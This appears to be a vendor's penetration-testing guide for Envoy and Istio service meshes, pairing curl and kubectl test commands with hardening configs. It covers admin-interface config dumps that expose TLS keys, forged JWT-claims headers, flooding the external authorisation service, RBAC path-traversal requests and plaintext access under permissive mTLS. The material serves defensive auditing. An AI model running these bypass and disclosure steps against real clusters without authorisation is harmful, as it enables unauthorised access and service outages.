Envoy is the data plane of every major service mesh — Istio, Consul Connect, AWS App Mesh, and others. As the proxy between every service-to-service call, a compromised or misconfigured Envoy instance can intercept all traffic, bypass authorization, and pivot to any service in the mesh. This guide covers Envoy-specific security testing: admin interface exploitation, xDS control plane API abuse, JWT filter bypass, external authorization service bypass, RBAC misconfiguration, and mTLS validation gaps.
| Component | Default Port | Attack Surface |
|---|---|---|
| Admin interface | 9901 | Full config access, traffic dump, hot restart |
| xDS management (ADS) | 15010 (Istio) | Inject malicious listener/cluster/route configs |
| Ingress listener | Varies (80/443) | HTTP filter bypass, route manipulation |
| Sidecar proxy (Istio) | 15001/15006 | Bypass iptables redirect, access without proxy |
| Health check endpoint | 15021 (Istio) | Information disclosure, availability check |
| Stats endpoint | 15090/9901 | Traffic metadata, upstream counts, connection state |
# Envoy admin interface defaults to 0.0.0.0:9901 — should be restricted
# In Kubernetes, accessible via kubectl port-forward or if misbound to pod IP
# Test if admin is accessible from outside the pod
kubectl port-forward pod/envoy-pod -n default 9901:9901 &
curl -s "http://localhost:9901/help"
# Key admin endpoints:
# /config_dump — full Envoy configuration (listeners, clusters, routes, certs)
# /stats — all counters and gauges
# /clusters — upstream cluster health and connection pool state
# /listeners — active listeners
# /runtime — runtime configuration
# /reset_counters — reset all stats (destructive for monitoring)
# /drain_listeners — drain connections (causes outage)
# /quitquitquit — shut down Envoy (causes outage!)
# /healthcheck/fail — force health check to fail (removes from LB)
# Dump full configuration — reveals all certs, routes, upstream endpoints
curl -s "http://localhost:9901/config_dump" | python3 -m json.tool > envoy_config.json
cat envoy_config.json | python3 -c "
import json,sys
config = json.load(sys.stdin)
# Extract TLS certificates
for item in config.get('configs',[]):
if item.get('@type','').endswith('SecretsConfigDump'):
for secret in item.get('dynamic_active_secrets',[]):
tls = secret.get('secret',{}).get('tlsCertificate',{})
if tls:
print(f'[TLS] Name: {secret[\"name\"]}')
print(f' Private key: {\"PRESENT\" if tls.get(\"privateKey\") else \"absent\"}')
"
# Extract all upstream endpoints (reveals internal service topology)
curl -s "http://localhost:9901/clusters" | grep -oP 'upstream_.*?::\d+\.\d+\.\d+\.\d+:\d+' | sort | uniq
The xDS (discovery service) API is how control planes (Istio Pilot, Consul, etc.) push configuration to Envoy. A compromised or exposed xDS server can push malicious configs that redirect traffic or disable mTLS.
# In Istio, the Pilot/Istiod management server listens on port 15010 (plaintext) or 15012 (TLS)
# Check if plaintext xDS is exposed
kubectl get service -n istio-system istiod -o json | \
python3 -c "
import json,sys
svc = json.load(sys.stdin)
for port in svc['spec']['ports']:
print(f\"Port: {port['port']} Name: {port['name']}\")
"
# Check if any pod can reach the control plane without authentication
kubectl exec -it test-pod -- curl -s "http://istiod.istio-system.svc.cluster.local:15010/debug/registryz" | \
python3 -m json.tool 2>/dev/null | head -50
# Debug endpoints on Istiod — often accessible within the mesh
kubectl port-forward -n istio-system svc/istiod 15014:15014 &
curl -s "http://localhost:15014/debug/configz" | head -100 # Full mesh config
curl -s "http://localhost:15014/debug/connections" | head -50 # Connected proxies
curl -s "http://localhost:15014/debug/syncz" | head -50 # xDS sync state
# Attempt to get proxy config for all pods (information disclosure)
curl -s "http://localhost:15014/debug/syncz" | \
python3 -c "import json,sys; [print(p.get('proxy','?')) for p in json.load(sys.stdin)]"
# Envoy's JWT filter verifies JWTs on incoming requests
# Common misconfigurations allow bypass
# Test 1: Missing route-level JWT requirement
# Some routes may not have JWT requirements configured
curl -s "http://service.example.com/api/admin" \
# No Authorization header
-H "Content-Type: application/json" | head -5
# If 200 returned without auth → bypass
# Test 2: forward_payload_header trust exploitation
# Envoy extracts JWT claims and adds them as a header to upstream
# If you can inject that header directly (bypassing Envoy), the upstream trusts it
curl -s "http://service.example.com/api/user/profile" \
-H "X-Forwarded-User-Claims: {\"sub\":\"admin\",\"role\":\"superadmin\"}"
# If upstream trusts this header, auth is bypassed
# Test 3: JWT algorithm confusion via Envoy config
# Check which algorithms Envoy's JWT filter accepts
kubectl get envoyfilter -n default -o yaml | grep -A5 "jwt\|algorithm"
# Test 4: JWKS caching — use an expired JWT with a rotated key
# If Envoy caches JWKS and hasn't refreshed, old tokens may still be accepted
# Create a JWT signed with a previously-valid key, test if it's accepted
# Test 5: Missing JWT validation on gRPC methods
# JWT filter may be configured for HTTP/1.1 but gRPC (HTTP/2) routes may differ
curl -s --http2-prior-knowledge "http://service.example.com" \
-H "Content-Type: application/grpc" \
-d "" | head -5
# Envoy's ext_authz filter calls an external authorization service for every request
# If the external auth service is slow, returns errors, or is misconfigured:
# - failure_mode_allow: true → auth failure defaults to ALLOW (critical misconfiguration)
# - On ext_authz service timeout → behavior depends on configuration
# Check Envoy's ext_authz configuration
curl -s "http://localhost:9901/config_dump" | \
python3 -c "
import json,sys
config = json.load(sys.stdin)
for item in config.get('configs',[]):
if 'http_filters' in str(item):
print(json.dumps(item, indent=2)[:2000])
" | grep -A20 "ext_authz\|envoy.filters.http.ext_authz"
# Look for: failure_mode_allow: true
# Test ext_authz timeout behavior
# Create many concurrent requests to overwhelm the authz service
for i in $(seq 1 100); do
curl -s -o /dev/null "http://service.example.com/api/data" &
done
# If ext_authz service times out under load, does Envoy allow or deny?
# Direct access bypass — skip Envoy sidecar entirely
# In Kubernetes, pods can communicate directly if iptables rules don't capture traffic
# Test by connecting to the pod IP directly (not through the service)
POD_IP=$(kubectl get pod app-pod -o jsonpath='{.status.podIP}')
kubectl exec -it test-pod -- curl -s "http://$POD_IP:8080/api/admin"
# If this works, the app doesn't enforce auth independent of Envoy
# Check if app_protocol != http causes ext_authz to be skipped
# gRPC with non-standard content types may bypass HTTP-focused authz configs
# Envoy RBAC filter controls which principals can reach which services
# In Istio: AuthorizationPolicy resources configure RBAC
# Enumerate Istio authorization policies
kubectl get authorizationpolicies --all-namespaces -o yaml | \
python3 -c "
import yaml, sys
docs = list(yaml.safe_load_all(sys.stdin))
for ap in docs:
if not ap: continue
meta = ap.get('metadata', {})
spec = ap.get('spec', {})
print(f\"Policy: {meta.get('namespace','?')}/{meta.get('name','?')}\")
print(f\" Action: {spec.get('action', 'ALLOW')}\")
rules = spec.get('rules', [])
for rule in rules:
principals = [p.get('requestPrincipal','?') for p in rule.get('from',[{}])[0].get('source',{}).get('requestPrincipals',[])]
print(f\" Principals: {principals}\")
ops = rule.get('to',[{}])[0].get('operation',{})
print(f\" Paths: {ops.get('paths', ['*'])}\")
"
# Test for ALLOW-by-default (no policy = allow in some mesh configs)
kubectl exec -it test-pod -- curl -s "http://target-service.default.svc.cluster.local/admin"
# Test for path traversal in RBAC rules
# Rule allows: paths: ["/api/public/*"]
# Test: /api/public/../admin → may match wildcard but reach admin path
kubectl exec -it test-pod -- curl -s \
"http://target-service.default.svc.cluster.local/api/public/../admin"
# Test for missing method constraint (GET allowed but POST not restricted)
kubectl exec -it test-pod -- curl -s -X POST \
"http://target-service.default.svc.cluster.local/api/read-only-endpoint" \
-d '{"action":"delete_all"}'
# Istio mTLS modes: STRICT, PERMISSIVE, DISABLE
# PERMISSIVE = accepts both mTLS and plaintext — allows non-mesh clients to connect
# Check PeerAuthentication policies
kubectl get peerauthentication --all-namespaces -o yaml | grep -A5 "mtls:\|mode:"
# Check for PERMISSIVE mode (security gap)
kubectl get peerauthentication -A -o json | \
python3 -c "
import json,sys
for pa in json.load(sys.stdin).get('items',[]):
meta = pa['metadata']
spec = pa.get('spec',{})
mode = spec.get('mtls',{}).get('mode','UNSET')
if mode in ['PERMISSIVE','DISABLE']:
print(f\"[!] {meta['namespace']}/{meta['name']}: mTLS mode = {mode}\")
"
# Test plaintext connection to a service in a mesh with PERMISSIVE mTLS
kubectl exec -it external-pod -- curl -s "http://internal-service.default.svc.cluster.local:8080/api/data"
# If data returned → PERMISSIVE mode confirmed (attacker in cluster can bypass mTLS)
# Test certificate validation — does Envoy verify the peer cert's SPIFFE identity?
# In STRICT mode with valid cert but wrong workload identity
# Requires custom cert generation — only in authorized test environments
# Check if service has destination rule for client-side mTLS
kubectl get destinationrule --all-namespaces -o json | \
python3 -c "
import json,sys
for dr in json.load(sys.stdin).get('items',[]):
tls = dr.get('spec',{}).get('trafficPolicy',{}).get('tls',{})
mode = tls.get('mode','UNSET')
if mode == 'DISABLE':
meta = dr['metadata']
print(f\"[!] {meta['namespace']}/{meta['name']}: TLS DISABLED for client\")
"
# 1. Restrict admin interface to localhost only
admin:
address:
socket_address:
address: 127.0.0.1 # NOT 0.0.0.0
port_value: 9901
# 2. Set failure_mode_allow: false for ext_authz
http_filters:
- name: envoy.filters.http.ext_authz
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz
failure_mode_allow: false # Deny on authz service failure
grpc_service:
envoy_grpc:
cluster_name: ext_authz_cluster
timeout: 250ms # Short timeout, fail closed
# 3. Enforce STRICT mTLS in Istio
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
name: default
namespace: istio-system
spec:
mtls:
mode: STRICT
# 4. Add explicit AuthorizationPolicy deny-all, then allow-list
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: deny-all
namespace: default
spec: {} # Empty spec = DENY all traffic
---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: allow-specific
namespace: default
spec:
action: ALLOW
rules:
- from:
- source:
principals: ["cluster.local/ns/frontend/sa/frontend-service"]
to:
- operation:
methods: ["GET"]
paths: ["/api/products"]
# 5. Disable debug endpoints in production
# Istio: set PILOT_ENABLE_ANALYSIS=false and restrict /debug/ endpoints
# Apply NetworkPolicy to block access to 15014 from non-admin pods
# 6. Regularly rotate mesh certificates
# Istio: default cert rotation is 24h
# Set shorter rotation for sensitive workloads:
# CITADEL_WORKLOAD_CERT_TTL=3600 (1 hour)
# 7. Monitor Envoy stats for anomalies
# Watch for:
# - ext_authz.denied vs ext_authz.ok ratio spikes
# - upstream_cx_destroy spikes (connection failures to upstreams)
# - jwt_authn.denied spikes (JWT bypass attempts)
| Security Test | Method | Risk |
|---|---|---|
| Admin interface accessible | curl pod-ip:9901/config_dump | Critical |
| failure_mode_allow: true | Inspect config_dump for ext_authz | Critical |
| PERMISSIVE mTLS mode | kubectl get peerauthentication -A | High |
| Wildcard AuthorizationPolicy | kubectl get authorizationpolicies -A | High |
| JWT filter bypass (missing routes) | Request without Auth header to all routes | High |
| xDS debug endpoints accessible | curl istiod:15014/debug/configz | Medium |
| Direct pod IP bypass (no iptables) | curl pod-ip directly from test pod | Medium |
Ironimo tests Envoy-based service mesh deployments for admin interface exposure, mTLS enforcement gaps, authorization policy misconfigurations, and JWT filter bypass paths — ensuring your service mesh actually provides the security guarantees it promises.
Start free scan